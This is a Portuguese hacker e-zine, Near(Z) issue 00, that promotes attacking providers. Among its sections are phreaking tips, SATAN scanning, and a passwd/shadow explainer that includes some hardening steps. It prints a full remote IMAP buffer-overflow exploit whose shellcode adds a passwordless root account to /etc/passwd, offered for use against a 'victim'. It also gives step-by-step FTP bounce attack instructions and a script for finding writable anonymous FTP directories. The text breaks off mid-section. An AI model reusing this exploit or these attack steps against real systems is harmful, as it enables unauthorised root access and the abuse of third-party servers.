Use um editor NAO-grafico, exemplo: EDiT do DOS, senao characters estranhos aparecerao na sua tela. Este arquivo esta com CR, pode ser lido no linux =-= Near(Z) =-=-=-=-= TheGhostObtruder =-=-=-=-= TheRevenge =-=-=-=-=-=-=-=-=- 00 │· ···.······ ··.· ····· ··.···· ·.····.···· ····.··· ····.···· ·.·· ───═╝·.··· ·┼X┼x· .·· `···,· ·.·· ····,···· ··.·.·.··· ··,···`·· ··.····· ··· ,··x┼X┼x····.·┼X┼··· ···.·· ··· ···X┼x┼x···· ···.··· ···.····.··· ····.··.··┼x┼x┼X·. ··x┼x···╔╩═╦═╩═╦═╩· ·┼x┼x┼x┼X┼···╬┴═┬═┴═┐···., ····· . ······X┼x·x┼x·.· ┼x┼··═╣. .·· ·.···┼x┼· .· ┼x┼·─┼─.··.·╠─·. ·`· .····· .······ .·┼x┼`·X┼x ··X┼x·.·╠═·.·,·.· ··x┼X,··.·x┼X·.╠·., ··┼─···· ·.,··· ·.··, ···x┼X···x┼X·.┼x┼··═╣·······. ··┼x┼··. ·┼x┼·─┼·· .··╠─·`·· ·· ···.·· ·· ··.··┼x┼··.·x┼x·x┼X··.╠═╩═╦═╩··.··x┼x┼X┼x┼X┼x··╬─═┬═┴┬┼·· ··.· ···· ····.·· ···x┼x· ···X┼x┼x┼··.╠═·· .· ····┼X┼x┼x┼x┼x┼·─┼ `·· ╠─·.··,·· ·····, ··┼X┼··.· ·x┼X┼x··═╣. ·.····.··x┼x· .··x┼X··╠─··,·┼─` ·.·· ··.··x┼x·`· ,··x┼x┼`·.╠═·`··,.····┼x┼·`·.·┼x┼·─┼· ···╠─·.··· ··.· ···.· ···┼X┼ ·.·· .·x┼X···╚╦═╩═╦═╩═╦··X┼x,.· ·X┼x··╠─··,·└┐···.,···.·· ··,. ····.·· ·,···.······ .···` ·.·· ····.······ ·.······`·····. ··.·· · ··.·· ··.···· ·. ·· ·.··,·· ···.·····.· ··· ···.· ····.···· =-= Near(Z) =-=-=-=-=-=-=-=-=-= issue 00 =-=-=-=-=-=-=-=-=-=-=-=-= Near(Z) =-= ╔═──────────────────────────────────────────────────────────────────────────═╗ │ http://www.geocities.com/SiliconValley/Way/6711/ │ ╚═──────────────────────────────────────────────────────────────────────────═╝ Versao revisada ╬═─READ──═┴═─═┴═─═┴═─═┴═─═┴═─═┴═─═┴═─═┴═─═┴═─═┴═─═┴═─═┴═─═┴═─═┴═─READ─═╬ ┼ As informacoes contidas nesse arquivos sao para fins educativos! ┼ ┼ O uso indevido dessas informacoes e' de SUA responsabiLidade ┼ ╬═─READ──═─═┬═─═┬═─═┬═─═┬═─═┬═─═┬═─═┬═─═┬═─═┬═─═┬═─═┬═─═┬═─═┬═─═─READ─═╬ ┌────────────────────────────────────────────────────────────────────────────┐ │ index--index--index--index--index-index--index--index--index--index--index │ └────────────────────────────────────────────────────────────────────────────┘ q[21~ <─[A]─■ i n t r o ■──> <─[B]─■ P r e a k i n g ■──> ^ ^ ^ <─[C]─■ S A T A N ■──> ^ ^ ^ │ │ │ <─[D]─■ passwd files ■──> │ │ │ └──┼──┘ <─[E]─■ FTP Bounce Attack ■──> └──┼──┘ │ <─[F]─■ E n c r y p t ■──> │ │ <─[G]─■ C h k S u m C r k ■──> │ │ <─[H]─■ John the Ripper ■──> │ │ <─[I]─■ Buffer Overflows ■──> │ <─[J]─■ IIS ".." B u g ■──> <─[K]─■ W a r e z ■──> <─[L]─■ M A i L B O X ■──> ┌────────────────────────────────────────────────────────────────────────────┐ │ end-index-end-index-end-index-end-index-end-index-end-index-end-index-end- │ └────────────────────────────────────────────────────────────────────────────┘ "Um sistema so' e' inseguro quando e' mal configurado" - Phiber Optik "Nao cometam os mesmos erros que cometi. Esse negocio de ser hacker pode parecer excitante no principio, mas depois, quando voce avalia o que fez, se lembra que so tem uma vida para viver" - Kevin Mitnick ╔══╦═──═┬─═──┬──═┬─═───╔═───=────────────────────=───═╗───═─┬═──┬──═─┬═──═╦══╗ ├═[A]═─[╩·╚┬─╦·┬─╣═+·<─┼■ i n t r o ■┼─>·+═╠─┬·╦─┬╝·╩]─═[■]═┤ ╚══╩═──═──═┴────═┴─═───╚╦═┬=┬────────────────────┬=┬═╦╝───═─┴═────┴═──═──═╩══╝ ┼=╠═┴=┬─=*─Near─(Z)─*=─┬=┴═╣=┼ ╚═┴=──┴────────────────┴──=┴═╝ O que e' o Near(Z)? Near(Z) e' uma "instituicao", nao governamental, sem fins lucrativos, underground, resumindo mais uma "gang" virtual pra acabar com a vida de provedores e explorar o submundo da internet, das redes conctadas a essa maravilha que facilita a vida dos hackers. Agora vamos falar do zine Este e' um zine pra hackers, crackers, warez. Esta' e' 1a. edicao (numero 00) por esse motivo nao temos nenhum email pra colocar na sessao mail box, mas mandem seus emails pra nearz@geocities.com que ele aparecera' na proxima edicao. As materias feitas por membros do near(Z), sao exclusivamente pro near(Z), entao a publicacao dos textos deve ser autorizada pelo near(Z). Nao sou seu pai, nao me responsabilizo por voce! Nosso objetivo e' divulgar aos hackers do .br qualquer coisa que tenha a ver com o mundo TCP/iP, o mundo PPP, o mundo SLiP, o mundo do Linux, etc...por enquanto nao temos nosso proprio dominio mas estamos providen$iando, qualquer mudanca sera' avisada no OLD site. Se voce achar algum erro de qualquer natureza envie email pra gente avisando. Por enquanto os membros do near(Z), sao: TheRevenge, TheGhostObtruder. Tudo deve ser compartilhado desde simples arquivos txt's ate' codigos fontes. Etica , seguir ou nao seguir eis a questao ? Eu tenho a minha voce tem a sua e nao se fala mais nisso. A nossa revista pretende estar rodando por ai todo dia ?? uns dias antes, ou uns dias depois. Ahh, esperamos uma colaboracao da galera pra distribuir o zine.. Okay vamos ao que interressa, ficar aqui falando em introducoes, isso enche o saco... ╔══╦═──═┬─═──┬──═┬─═───╔═───=────────────────────=───═╗───═─┬═──┬──═─┬═──═╦══╗ ├═[B]═─[╩·╚┬─╦·┬─╣═+·<─┼■ P r e a k i n g ■┼─>·+═╠─┬·╦─┬╝·╩]─═[■]═┤ ╚══╩═──═──═┴────═┴─═───╚╦═┬=┬────────────────────┬=┬═╦╝───═─┴═────┴═──═──═╩══╝ ┼=╠═┴=┬TheGhostOBtruder┬=┴═╣=┼ ╚═┴=──┴────────────────┴──=┴═╝ Em nossa 1ª sessao Phreaking nao teremos muito a faLar Preferimos ficar mais no Hacking DiODO , Funciona, ou nao ? Em um pequeno teste, percebemos que: Em 5 TeLefones de Fichas, Funcionou em todos Em 5 TeLefones de Cartao, Funcionou em apenas 1, nos outros conseguimos ligar mas nao podiamos "falar", a pessoa do outro lado nao ouvia nada TeLefones interessantes da TeLe$P: 0800-104104, Pedido de 2a. via, Informacao sobre acoes... 0800-102102, Servicos de informacao automatica... ╔══╦═──═┬─═──┬──═┬─═───╔═───=────────────────────=───═╗───═─┬═──┬──═─┬═──═╦══╗ ├═[C]═─[╩·╚┬─╦·┬─╣═+·<─┼■ S A T A N ■┼─>·+═╠─┬·╦─┬╝·╩]─═[■]═┤ ╚══╩═──═──═┴────═┴─═───╚╦═┬=┬────────────────────┬=┬═╦╝───═─┴═────┴═──═──═╩══╝ ┼=╠═┴=┬TheGhostOBtruder┬=┴═╣=┼ ╚═┴=──┴────────────────┴──=┴═╝ 1 - O que e' SATAN ? ┐ .S.ecurity │ .A.nalysis │ Ferramenta de analise .T.ool for ├─> de seguranca para .A.uditing │ auditoria de redes .N.etWorks │ ┘ Ele foi criado por Dan Farmer 2 - Pra que ele serve ? Como o proprio nome diz, ele analisa a seguranca de uma rede OU...pode ser usado pra saber o ponto fraco de uma rede para invadila... Ele tem 3 modos de procura: Heavy, Medium e Light No modo light verifica servicos: 111 RPC No modo medium verifica servicos: 23 telnet 70 gopher 80 www 111 RPC 21 ftp 540 uucp 79 finger No modo heavy, este faz o verdadeiro servico, que demoraria muito se fosse feito manualmente, ele verifica cada servico do modo medium so' que em todas as portas menores que 1024 por exemplo se o host possuir uma porta telnet, so' pra funcionarios na porta 797, niguem vai saber da existencia dessa porta ai voce usa o SATAN nesse host, e ja' era privaciade... Mas CUiDADO, se voce usar o SATAN, vai ficar nos log's do host entao saiba QUANDO, COMO e ONDE usa-lo Voce pode pegar o script do SATAN na nossa HomePage ╔══╦═──═┬─═──┬──═┬─═───╔═───=────────────────────=───═╗───═─┬═──┬──═─┬═──═╦══╗ ├═[D]═─[╩·╚┬─╦·┬─╣═+·<─┼■ passwd files ■┼─>·+═╠─┬·╦─┬╝·╩]─═[■]═┤ ╚══╩═──═──═┴────═┴─═───╚╦═┬=┬────────────────────┬=┬═╦╝───═─┴═────┴═──═──═╩══╝ ┼=╠═┴=┬─=─TheRevenge─=─┬=┴═╣=┼ ╚═┴=──┴────────────────┴──=┴═╝ ╔═─────────────────────────────═╗ │ Entendendo arquivos de passwd │ ╚═─────────────────────────────═╝ Um passwd de 8 carateres e' codificado 4096 * 13. Para fazer um dicionario de 400 mil palavras, nomes,passwds, e variacoes simples, o ideal seria desenvolve-lo num disco rigido de 4GB,para que todas combinacoes possiveis sejam feitas. O arquivo passwd tambem contem informacao como user ID e group ID que e' usado por muitos programas do sistema. Entao, e' necessario que o arquivo permaneca legivel pra todos. Formato do arquivo /etc/passswd: username:passwd:UID:GID:full_name:directory:shell Onde: Username ─> Nome do user passwd ─> Senha encripitada UID ─> Numerico user ID GID ─> Numerico default group ID full_name ─> O nome completo do usuario - Este campo e' chamado de GECOS (General Electric Comprehensive Operating System) e pode conter outras informacoes alem do nome completo do usuario. Directory ─> Diretorio home do usuario. Shell ─> shell do usuario Exemplo ─> username:Npge08pfz4wuk:503:100:Full Name:/home/username:/bin/sh Onde Np e' o "sal" e ge08pfz4wuk e' o passwd encripitado. O sal/password pode ser kbeMVnZM0oL7I que e' o mesmo passwd encripitado do exemplo. Uma mesma passwd pode ser codificada 4096 vezes. Eis um programa em C que lista o conteudo do arquivo passwd.: Simples e util: ────[ say_passwd.c ]──────────start──────────────────────────────────Cut─Here─ #include "pwd.h" void main (void) { struct passwd *pswd; while(pswd=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", pswd -> pw_name, // Name, aquele que voce usa no "login:" pswd -> pw_passwd, // Password, encryptado pswd -> pw_uid, // User ID pswd -> pw_gid, // Group ID pswd -> pw_gecos, // GECOS pswd -> pw_dir, // Home Dir pswd -> pw_shell); // Shell } ────[ say_passwd.c ]───────────end───────────────────────────────────Cut─Here─ Por que voce poderia nao querer passar suas senhas do arquivo /etc/passwd para o arquivo /etc/shadow em sua maquina? Ha algumas circunstancias e configuracoes nas quais fazer isso nao seria uma boa ideia: 1. Sua maquina nao contem usuarios ou seja voce usa seu Unix apenas para conectar em outros servidores 2. Sua maquina esta rodando em uma LAN e esta usando NIS (Network Information Services) somente para adquirir nome de usuarios e passwds para outras maquinas na Network. (E' possivel usar shadow. Mas nao aumentaria muito a seguranca...) 3. Sua maquina esta sendo usada atraves de servidores e terminais para verificar usuarios pela NFS (Network File System), NIS, ou por algum outro metodo. Exemplo do arquivo /etc/passwd apos as senhas terem sido passadas para o arquivo /etc/shadow. username:x:503:100:Full Name:/home/username:/bin/sh Formato do arquivo /etc/shadow O arquivo contem as seguintes informacoes: username:passwd:last:may:must:warn:expire:disable:reserved Onde: Username ─> A mesma coisa do /etc/passwd passwd ─> A mesma coisa do /etc/passwd Last ─> Ultimo vez/dia que o passwd foi mudado May ─> Dias antes que o passwd possa ser mudado Must ─> Numero de dias depois do que o passwd foi mudado Warn ─> Dias antes do passwd (conta) expirar aquele usuario e' alertado Expire ─> Dias depois do passwd expirar a conta se torna invalida Disable ─> Dias como por exemplo Jan 10, 1983 aquela conta e' invalida Reserved ─> Um campo reservado O exemplo poderia ser entao: username:Npge08pfz4wuk:9479:0:10000:::: ╔═────────────────────────═╗ │ DES - funcao crypt() │ ╚═────────────────────────═╝ "Crypt" e' a funcao de encripitacao do arquivo que estao localizados os passwds. Esta funcao e' baseado em "Data Encryption Standard" algoritmo com variacoes pretendidas (entre outras coisas). A funcao "cript" usa o passwd do usuario como chave. A string codificada e' toda em NULLs O sal e' uma string de dois carateres escolhido no jogo de a-z; A-Z; 0-9. /. Esta string e' usada para ajudar com que o algoritmo seja feito em 4096 modos diferentes. Pegando os 7 bits de cada caracter da chave, e' obtida uma chave de 56-bit Esta chave de 56-bit e' usada para codificar repetidamente uma string (normalmente uma string consiste em todos os zeros). O valor devolvido aponta ... o passwd codificado, uma serie de 13 caracteres ASCII imprimiveis (os primeiros dois caracteres representam o proprio sal). A maioria dos Shadow Passwd contem um codigo para dobrar o tamanho do passwd para 16 caracteres. (Nao recomendado) Ha' trabalho em desenvolvimento que permitiria substituir o algoritmo de autenticacao com algo mais seguro e com apoio para passwds mais longos (especificamente o MD5 algoritmo) que retem compatibilidade com o metodo. ╔═────────────────────────────────────────────────═╗ │ Habilitando o Shadow Passwd em sua maquina SunOs │ ╚═────────────────────────────────────────────────═╝ Esta e' para quem quer proteger seus arquivos de passwd Ao contrario de convicao popular, Shadow Passwds podem ser habilitadas seguindo alguns passos faceis e pequenos contanto que tenham nocao do que estao fazendo. (Obs: Somente maquinas usando SunOs e se possivel NIS "Network Information Services" instalado). 1 - Faca um backup do passwd maps em seu "NIS master". Faca um backup auxiliar do Makefile em seu "NIS master" tambem. 2 - No diretorio onde voce mantem seu "NIS maps", crie um diretorio chamado security (por exemplo /var/yp/security). cd /var/yp mkdir security chown root security chmod 700 security 3 - Pegue todos seus passwds (/etc/passwd) e os coloque no arquivo passwd.adjunct no diretorio security, substitua todas as entradas de senhas no passwd map com entradas atraves de duas marcas de '#'. Como mostrado no exemplo: root:##root:0:0::/:/bin/csh O formato para o Shadow Passwd segue a forma entao de: username:_passwd::::: Onde _passwd e' o que voce retirou do arquivo de passwd. Nos 5 campos restantes nao ponha qualquer coisa. Eles estao agora no nivel C2 de seguranca. Use agora este script para gerar o arquivo passwd.adjunct. nawk -F \:'{printf (%s:%s:::::\n ", $1, $2)}'passwd > security/passwd.adjunct E o script seguinte fixar seu arquivo de passwd nawk -F \: '{printf (%s:##%s:%s:%s:%s:%s:%s\n ", $1, $1, $3, $4, $5, $6, $7)}' passwd> passwd.new Confira agora o arquivo passwd.new para corrigir qualquer erro antes de substituir o passwd com este novo arquivo. Agora tambem e' a hora perfeita para conferir os usuarios que nao tem nenhum passwd e substituir a entrada de passwd de emtpy com um " * " no arquivo passwd.adjunct. 4 - Crie um diretorio com o nome de /etc/security em sua maquina. E leve o passwd do root (e qualquer outro passwd "local") localizado em seu arquivo /etc/passwd e coloque-os em /etc/security/passwd.adjunct. #mkdir /etc/security #chmod 700 /etc/security Entao encha o arquivo /etc/security/passwd.adjunct com algo parecido: root:ZbAirHUqwr9w::::: nobody: *::::: daemon: *::::: sys: *::::: bin: *::::: audit: *::::: sync: *::::: AUpwdauthd: *::::: AUyppasswdd: *::::: +:::::: 5 - Ponha as duas linhas seguintes em seu "NIS master passwd map" AUpwdauthd:##AUpwdauthd:10:10::/lost+found:/bin/true AUyppasswdd:##AUyppasswdd:11:10::/lost+found:/bin/true Lost+found pode ser substituido com o nome de qualquer diretorio local 6 - Ponha as duas linhas seguintes em seu passwd.adjunct. AUpwdauthd: *::::: AUyppasswdd: *::::: 7 - Agora voce precisa ter certeza que quando voce atualizar passwds e usuarios que seu Makefile esta' correto para colocar o map de passwd.adjunct. Reveja seu Makefile e some uma nova entrada, para isso nos chamamos o nosso c2secure. Agora voce precisa adicionar um novo dominio para esta entrada. c2secure: - @if [-f $(DIR)/security/passwd.adjunct]; then \ if [! $(NOPUSH)]; then $(MAKE) $(MFLAGS) -k \ passwd.adjunct.time group.adjunct.time; \ else $(MAKE) $(MFLAGS) -k NOPUSH=$(NOPUSH) \ passwd.adjunct.time group.adjunct.time; \ fi; \ fi 9 - Voce precisa ter certeza que o rpc.yppasswdd em seu "NIS master" agora esta rodando com as flags certas. Abaixo ha' uma amostra de como deve ser feito O -noshell e as flags de -nogecos especificam que nao sao permitidos para os usuarios mudar o shell deles ou os seus nomes usando o comando passwd if [-f /usr/etc/rpc.yppasswdd]; then rpc.yppasswdd /var/yp/dbdir/passwd /var/yp/dbdir/security/passwd.adjunct -nosingle -noshell -nogecos -m passwd.adjunct> /dev/console echo -n ' yppasswdd' fi Nao sei se esta bem explicado mas espero que tenham entendido. De final aqui vai um remote exploit para Linux, ele adiciona uma conta de root no arquivo /etc/passwd e se precisar no /etc/shadow. Voce apenas vai precisar do endereco da vitima. ────[ imap_daemon.c ]─────────start──────────────────────────────────Cut─Here─ /* Name: imap daemon */ /* autor: Akylonius */ #include #include #include #include #include #include #include char *h_to_ip(char *hostname); char *h_to_ip(char *hostname) { struct hostent *h; struct sockaddr_in tmp; struct in_addr in; h = gethostbyname(hostname); if (h==NULL) { perror("Resolving the host. \n"); exit(-1); } memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length); memcpy(&in,&tmp.sin_addr.s_addr,4); return(inet_ntoa(in)); } void banner(void) { system("clear"); printf("\nIMAP Exploit for Linux.\n"); printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n"); printf(" Modifications: p1 (p1@el8.org)\n"); } main(int argc, char **argv) { int fd; struct sockaddr_in sckdaddr; char *hostname; char buf[4092]; int i=8; char realegg[] = "\xeb\x58\x5e" "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26" "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8" "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2" "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31" "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31" "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1" "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83" "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80" "iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff" "/etc/passwdxroot::0:0:r00t:/:/bin/bashx"; char *point = realegg; buf[0]='*'; buf[1]=' '; buf[2]='l'; buf[3]='o'; buf[4]='g'; buf[5]='i'; buf[6]='n'; buf[7]=' '; banner(); if (argc<2) { printf("\nUsage: %s \n\n", argv[0]); exit(-1); } hostname=argv[1]; while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */ buf[i++]=0x90; while(*point) buf[i++]=*(point++); buf[i++]=0x83; /* ebp */ buf[i++]=0xf3; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=0x88; /* ret adr */ buf[i++]=0xf8; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=' '; buf[i++]='b'; buf[i++]='a'; buf[i++]='h'; buf[i++]='\n'; buf[i++]=0x0; if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the socket. \n"); sckdaddr.sin_port=htons(143); sckdaddr.sin_family=AF_INET; sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname)); if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0) perror("Error with connecting. \n"); printf("hmm: \n"); getchar(); write(fd,buf,strlen(buf)+1); printf("hmm: \n"); close(fd); } ────[ imap_daemon.c ]──────────end───────────────────────────────────Cut─Here─ ╔═────────────────────────═╗ │ Local de alguns shadows │ ╚═────────────────────────═╝ ╔═──────────────────────────────────────────────────────────────────────────═╗ │ Version Path Token │ ╠═──────────────────────────────────────────────────────────────────────────═╣ │ AIX 3 /etc/security/passwd ! │ │ or /tcb/auth/files// ! │ ├────────────────────────────────────────────────────────────────────────────┤ │ A/UX 3.0s /tcb/files/auth/?/ * │ ├────────────────────────────────────────────────────────────────────────────┤ │ BSD4.3-Reno /etc/master.passwd * │ ├────────────────────────────────────────────────────────────────────────────┤ │ ConvexOS 10 /etc/shadpw * │ ├────────────────────────────────────────────────────────────────────────────┤ │ ConvexOS 11 /etc/shadow * │ ├────────────────────────────────────────────────────────────────────────────┤ │ DG/UX /etc/tcb/aa/user/ * │ ├────────────────────────────────────────────────────────────────────────────┤ │ EP/IX /etc/shadow x │ ├────────────────────────────────────────────────────────────────────────────┤ │ HP-UX /.secure/etc/passwd * │ ├────────────────────────────────────────────────────────────────────────────┤ │ IRIX 5 /etc/shadow x │ ├────────────────────────────────────────────────────────────────────────────┤ │ Linux 1.1 /etc/shadow * │ ├────────────────────────────────────────────────────────────────────────────┤ │ OSF/1 /etc/passwd[.dir|.pag] * │ ├────────────────────────────────────────────────────────────────────────────┤ │ SCO Unix #.2.x /tcb/auth/files/ / │ ├────────────────────────────────────────────────────────────────────────────┤ │ SunOS4.1+c2 /etc/security/passwd.adjunct ##username │ ├────────────────────────────────────────────────────────────────────────────┤ │ SunOS 5.0 /etc/shadow * │ ├────────────────────────────────────────────────────────────────────────────┤ │ System V Release 4.0 /etc/shadow x │ ├────────────────────────────────────────────────────────────────────────────┤ │ System V Release 4.2 /etc/security/database * │ ├────────────────────────────────────────────────────────────────────────────┤ │ Ultrix 4 /etc/auth[.dir|.pag] * │ ├────────────────────────────────────────────────────────────────────────────┤ │ UNICOS /etc/udb * │ ╚═──────────────────────────────────────────────────────────────────────────═╝ ╔══╦═──═┬─═──┬──═┬─═───╔═───=────────────────────=───═╗───═─┬═──┬──═─┬═──═╦══╗ ├═[E]═─[╩·╚┬─╦·┬─╣═+·<─┼■ FTP Bounce Attack ■┼─>·+═╠─┬·╦─┬╝·╩]─═[■]═┤ ╚══╩═──═──═┴────═┴─═───╚╦═┬=┬────────────────────┬=┬═╦╝───═─┴═────┴═──═──═╩══╝ ┼=╠═┴=┬─=─TheRevenge─=─┬=┴═╣=┼ ╚═┴=──┴────────────────┴──=┴═╝ Nao tenho muito o que falar aqui entao vamos direto ao que interessa, sem enrolacao. ╔═──────═╗ │ Motivo │ ╚═──────═╝ Um exemplo: Voce e' um usuario em foreign.fr,seu IP address e' F.F.F.F, e vc quer puxar o codigo de fonte de "cryptographic" em crypto.com nos EUA. O servidor de FTP de crypto.com e' fixo e ate' permite sua conexao, porem quando vai puxar o "crypto sources" aparesse "acess denied".Isso acontece porque seu indereco IP e' de um local de nao-EUA. Em todo caso, voce nao pode receber o que voce quer do servidor de crypto.com diretamente. Porem, crypto.com permite para ufred.edu puxar fontes de "crypto" porque ufred.edu tambem esta no EUA. Vamos supor que o diretorio /incoming em ufred.edu qualquer usuario anonimo tem acesso para gravar e ler arquivos. E vamos supor que o endereco IP de Crypto.com e' C.C.C.C. ╔═──────═╗ │ Ataque │ ╚═──────═╝ Voce tem que ter um servico de FTP em sua maquina. Abra uma secao de FTP ao real IP de sua propria maquina . Va para um diretorio conveniente onde voce tem permicao para escrever e entao faz: quote "pasv" quote "stor foobar" Tome nota do endereco e porta que serao devolvidos do commando acima.Vamos supor que foi devolvido o seguinte endereco F,F,F,F,X,X de "PASV".Esta sessao de FTP pode ser fechada agora Crie um arquivo que contem os seguintes comandos de FTP. Chamemos este arquivo de "instrs " ────[ instr.c ]───────────start─────────────────────────────────Cut─Here─ user ftp pass -anonymous@ cwd /export-restricted-crypto type i port F,F,F,F,X,X retr crypto.tar.Z quit ... ────[ instr.c ]────────────end──────────────────────────────────Cut─Here─ F,F,F,F,X,X e' o mesmo endereco e porta que sua propria maquina lhe deu na primeira coneccao. Abra uma coneccao de FTP em ufred.edu, log como anonymous , e de cd /incoming Digite o seguinte nesta secao de FTP fara com que o servidor de ufred.edu conecte com o servidor de FTP de crypto.com e pegue o arquivo escolhido para voce. put instrs quote " port C,C,C,C,0,21 " quote "retr instrs " Onde C,C,C,C e'o endereco IP de crypto.com e 21 e'a porta. Crypto.tar.Z deveria aparecer agora como " foobar " em sua maquina. Apague "instrs" de ufred.edu e saia. Caso apos receber o arquivo a coneccao cair tera que reconectar para apagar-lo Este e' um script para achar diretorios e arquivos onde voce possa ler e gravar quando logado como anonymous em servidores FTP. ────[ find_rw.c ]───────────start─────────────────────────────────Cut─Here─ #! /bin/sh ftp -n $1 << INIMIGO quote "user ftp" quote "pass -nobody@" prompt cd / dir "-aR" xxx.$$ bye INIMIGO cat -v xxx.$$ | awk ' BEGIN { idir = "/" ; dirp = 0 } /.: $/ { idir = $0 ; dirp = 1; } / ^ [-d][-r] (......w.|........ * [0-9] * ftp *) / { if (dirp == 1) print idir dirp = 0 print $0 } ' rm xxx.$$ ────[ find_rw.c ]────────────end──────────────────────────────────Cut─Here─ ╔══╦═──═┬─═──┬──═┬─═───╔═───=────────────────────=───═╗───═─┬═──┬──═─┬═──═╦══╗ ├═[F]═─[╩·╚┬─╦·┬─╣═+·<─┼■ E n c r y p t ■┼─>·+═╠─┬·╦─┬╝·╩]─═[■]═┤ ╚══╩═──═──═┴────═┴─═───╚╦═┬=┬────────────────────┬=┬═╦╝───═─┴═────┴═──═──═╩══╝ ┼=╠═┴=┬TheGhostOBtruder┬=┴═╣=┼ ╚═┴=──┴────────────────┴──=┴═╝ < Only for C programmers > Em Nossa 1ª sessao EnCryPt vamos dar de presente um programa simples que pode ser utiL... Substitua aqueles "0x66" por seus numeros prediletos. Para usa-lo : CRIPT [+/-] [file_input] [file_output] "[+/-]" --- use "+" para criptar e "-" para decriptar "[file_input]" --- coloque o nome do arquivo original "[file_output]" --- coloque o nome do arquivo encriptado Exemplo: CRIPT + confidencial.txt confidencial.secreto ; isto encripta CRIPT - confidencial.secreto confidencial.txt ; isto decripta Observacao: NAO use o mesmo arquivo para input e output!!! porque?? descobri! ────[ crypt.c ]──────────start──────────────────────────────────Cut─Here─ #define _c0 0x66 // 0a. Chave (como se pronucia isto ?) #define _c1 0x66 // 1a. Chave [ todas as chaves devem #define _c2 0x66 // 2a. Chave ter 2 digitos em hexa ] #define _c3 0x66 // 3a. Chave #define _c4 0x66 // 4a. Chave #define _c5 0x66 // 5a. Chave #define _c6 0x66 // 6a. Chave #define _c7 0x66 // 7a. Chave #define _c8 0x66 // 8a. Chave #define _c9 0x66 // 9a. Chave #define _c10 0x66 // 10a. Chave #define _c11 0x66 // 11a. Chave #define _c12 0x66 // 12a. Chave #define _c13 0x66 // 13a. Chave #define _c14 0x66 // 14a. Chave #define _c15 0x66 // 15a. Chave #define _c16 0x66 // 16a. Chave #define _c17 6 // 17a. Chave ( esta deve ser < que 10) // se voce usar um numero > 10 nao // sera' colocado "lixo" no arquivo... #define RegTo "UNRegistred" // Coloque seu nome/nick #define say printf #define ERRO_001 "Parametros insuficientes...\n CRIPT [+/-] [file_input] [file_output]\n" #define ERRO_002 "Arquivo nao Encontrado (argv[2])...\n" #define ERRO_003 "Comando invalido (argv[1])...\n" #define ERRO_004 "Erro Abrindo (argv[2])...\n" #define ERRO_005 "Erro Criando (argv[3])...\n" #define ERRO_006 "Sem Memoria...\n" /*----------------------------*/ #include "string.h" #include "stdio.h" #include "malloc.h" // Se voce usa GCC deixe isto aqui // Se voce usa TCC coloque "alloc.h" no // lugar de "malloc.h" /*----------------------------*/ FILE *fp_in; FILE *fp_to; unsigned long int i=0; unsigned long int l=0; unsigned long int j=0; /*----------------------------*/ void saydel(int n){ int k; for(k=0;k·+═╠─┬·╦─┬╝·╩]─═[■]═┤ ╚══╩═──═──═┴────═┴─═───╚╦═┬=┬────────────────────┬=┬═╦╝───═─┴═────┴═──═──═╩══╝ ┼=╠═┴=┬TheGhostOBtruder┬=┴═╣=┼ ╚═┴=──┴────────────────┴──=┴═╝ Como todo mundo sabe o Check Sum e' usado por alguns programas compactadores de headers dos .EXE's, tipo assim, voce faz um programa, compila. mas tem um problema, seu codigo fica exposto, se por exemplo seu programa tem uma string "Isto e' uma string", ela aparecera no arquivo .EXE Entao voce usa um compactador de .EXE, por exemplo o DiET, ai a string sera encriptada... Mas qualquer um podera restaurar seu arquivo original usando DiET -R, entao o que fazer? Seguinte, o diet Usa um chksum pra indentificar seus arquivos... Entao se voce trocalo por qualquer outra coisa ele nao reconhecera mais o arquivo, e nao podera ser restaurado... Entao pra isso eu fiz o CSUM que troca o chksum dos .EXEs Mas esse programa nao serve so' pra isso, voce pode usalo pra colocar ChkSums nos seus programas... ────[ csum.c ]───────────start─────────────────────────────────Cut─Here─ #include "fcntl.h" void main( int argc , char **argv ) { int fp,i; // Filepointer, Counter char NewH[]="XX"; // Definimos um CheckSum Padrao char buf[512]; // Buffer pra ser usado com write/read printf("CheckSUM Crack!, By TheGhostObtruder - Near(Z)\n\n"); if(argc==1){ printf("Sintax: CSUM [file.exe]\n\n "); exit(1); } if((fp=open(argv[1],O_RDWR,O_BINARY))==-1){ // Devemos abrir o aquivo printf("Erro abrindo %s\n",argv[1]); // pra leitura e gravacao exit(1); // ReaDWRite... } read(fp,buf,18); // Vamos ate' a posicao do CheckSum no Header do EXE printf("Digite o novo CheckSum (2 chars)\n"); scanf("%2s",NewH); // Lemos o novo chksum de // gravamos 2 bytes no arquivo e verificamos // se foi gravado mesmo if( (write(fp,NewH,2)) ==2 ) printf("Cracked!\n"); else printf("Erro gravando no arquivo\n"); } ────[ csum.c ]───────────end───────────────────────────────────Cut─Here─ ╔══╦═──═┬─═──┬──═┬─═───╔═───=────────────────────=───═╗───═─┬═──┬──═─┬═──═╦══╗ ├═[H]═─[╩·╚┬─╦·┬─╣═+·<─┼■ John the Ripper ■┼─>·+═╠─┬·╦─┬╝·╩]─═[■]═┤ ╚══╩═──═──═┴────═┴─═───╚╦═┬=┬────────────────────┬=┬═╦╝───═─┴═────┴═──═──═╩══╝ ┼=╠═┴=┬─=─TheRevenge─=─┬=┴═╣=┼ ╚═┴=──┴────────────────┴──=┴═╝ John the Ripper Version 1.0 Copyright (c) 1996 by Solar Designer John The Ripper -- Uma substituicao para o seu velho e bom Cracker Jack. O John The Ripper resumidamente e' uma complementacao do Jack e roda no 